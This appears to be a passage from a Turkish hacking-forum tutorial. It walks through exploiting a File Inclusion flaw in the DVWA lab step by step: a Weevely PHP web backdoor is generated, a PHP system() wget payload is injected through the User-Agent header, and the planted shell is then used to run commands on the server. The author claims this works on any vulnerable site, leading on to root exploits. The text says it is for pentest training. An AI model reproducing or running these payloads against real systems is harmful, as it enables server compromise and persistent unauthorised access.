3) Karsimiza yukaridaki gibi bir cikti geldigine gore, acigimiz sistemde bulunuyor demektir. Simdi bu aciktan yararlanabiliriz. Oncelikle Burp Suite'i kullanmak icin Mozilla Firefox uzerinden proxy ayarlarimizi yapalim. Bunun icin 'Edit veya Menu > Preferences > Advanced > Network' yolunu izleyerek 'Settings' butonuna tikliyoruz. Daha sonra 'Manual Proxy Configuration' radiobutton'unu isaretleyip, HTTP Proxy kismini 127.0.0.1, Port kismini ise 8080 yapip 'Ok' butonuna tikliyoruz.

dkj6m4.png


4) Mozilla Firefox uzerinden proxy ayarlarimizi yapilandirdik. Bunun uzerine Burp Suite adli yazilimimizi calistiralim. Calistirmak icin .jar dosyasinin bulundugu dizine gelip asagidaki komutlari uygulayacagiz. Yazilimimizin GUI (Graphical User Interface) hali ekranimiza yansiyinca bunu asagida bekletip, Weevely uzerinden PHP Web Backdoor (Shell) olusturalim.
Kod:
cd /home/archluser/Desktop/Toolbox/BurpSuite
chmod +x Burp.jar
java -jar Burp.jar

BDXV3g.png


5) Weevely uzerinden PHP Web Backdoor olusturmak icin oncelikle bir terminal aciyoruz ve Weevely'nin oldugu dizine geliyoruz. Daha sonra asagidaki adimlari uygulayarak shell'mizi olusturuyoruz. Asagidaki kisimda yer alan archLuser (Sifre) ve .../archluser/... (Dizin) kisimlari degiskendir.
Kod:
cd /home/archluser/Desktop/Toolbox/Weevely/
chmod +x weevely.py
./weevely.py generate archLuser /home/archluser/Desktop/backdoor.php

92X60k.png


6) Tum ayarlarimizi basariyla yaptiktan sonra ve PHP Web Backdoor dosyamizi olusturdugumuza gore artik File Inclusion islemimize baslayabiliriz. Oncelikle olusturdugumuz .php uzantili backdoor'u, herhangi bir hosta veya localhost klasorumuze atiyoruz. Bu klasor default olarak Linux tabanli sistemlerde '/var/www/html' dizininde yer alir. Bu dizinde yeni bir klasor olusturarak (mkdir) .php uzantili dosyamizi buraya tasiyoruz.
Kod:
sudo su
cd Desktop
mkdir /var/www/html/Backdoor
[/COLOR][/FONT][CENTER][LEFT][FONT=Ubuntu][COLOR=White] mv backdoor.php /var/www/html/Backdoor

65R4OP.png

[/CENTER]

7) Burp Suite uzerinden proxy kismina geliyoruz ve eger 'Intercept is Off' adli bir buton varsa ona tiklayip, yakalayiciyi aktive ediyoruz. DVWA uzerinden 'File Inclusion' kategorisine gelip sayfayi yeniliyoruz. Burp Suite direk karsimiza cikip, trafik akisini degistirmek - devam ettirmek icin izin isteyecektir. Bu kisimda biz User-Agent'imizi degistirecegiz. Ama ne olarak? Sistemde komut calistiracagiz. Komutumuz da sistemin, az once localhost'a aktardigimiz backdoor.php dosyasini download etmesine sebebiyet verecektir. Bu komutu User Agent ile degistirdikten sonra 'Forward' butonuna basarak trafik akisina izin veriyoruz. Komutumuz:
Kod:
<?system ('wget http://127.0.0.1/Backdoor/backdoor.php);?>

m1lVBR.png


8) Simdiki adimimizda sadece sunucuda pentest yaptigimiz icin dosyanin upload edilip edilmedigini, DVWA'nin localhost klasorunda bulunan 'hackable' dizinine giderek gorebiliriz. Eger upload edilmisse dosyamiz orada bulunacaktir. PHP Web Backdoor'umuzu sorunsuz bir bicimde upload ettik. Simdi terminal uzerinden, Weevely ile telnet tarzi bir baglanti kurarak sitede komut calistiralim. Bunun icin asagidaki komutlari kullanip, 'Test' adinda bir dizin yaratacagiz. Baglanti icin './weevely.py <backdoor dizini> <belirledigimiz sifre>' komutunu kullaniriz. Bu komuttaki degiskenlerimiz, benim uyguladigim adimlar icin asagidaki gibi olmalidir.
Kod:
./weevely.py http://127.0.0.1/dvwa/hackable/uploads/backdoor.php archLuser
pwd
mkdir Test

W12lJ8.png


Sonuc: Yukaridaki komutlarin sonucunda, sunucuda 'Test' adinda bir klasor olusturuldu. Bu da bize gosteriyor ki, File Inclusion acigi bulunan herhangi bir siteye PHP Web Backdoor yardimiyla erisim yolu olusturup, sunucuda komut calistirabiliriz. Bunun sonucunda daha once de bahsettigimiz 'Local Root Exploit' adini verdigimiz exploitleri kullanarak sistemde hak kazanabilir, kontrolumuz altina alabiliriz. Tum bu adimlar gosteriyor ki bu acik pentest yaparken asla gozardi edilmemesi gereken cinstendir.

0wZgK9H.png


[/LEFT]
Onemli Not: Dersler tamamiyle tarafimca hazirlanmakta ve devam ettirilmektedir. Herhangi bir yerden hicbir sekilde alinti yapilmamistir. Hedef kitle olarak hack degil, sadece pentest alaninda ilgisi olanlar ve kendini gelistirmek isteyenler esas alinmistir. Bu anlatimlar sonucunda islenebilecek herhangi bir suctan sorumlu tutulamam, tum sorumluluk okuyucuya aittir. Bu makaleyi hazirlamamda bana destek olan ch_arli41, ||JackSparrow||, Sypx, Marwins ve Criminal King'e tesekkurlerimi sunarim.
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.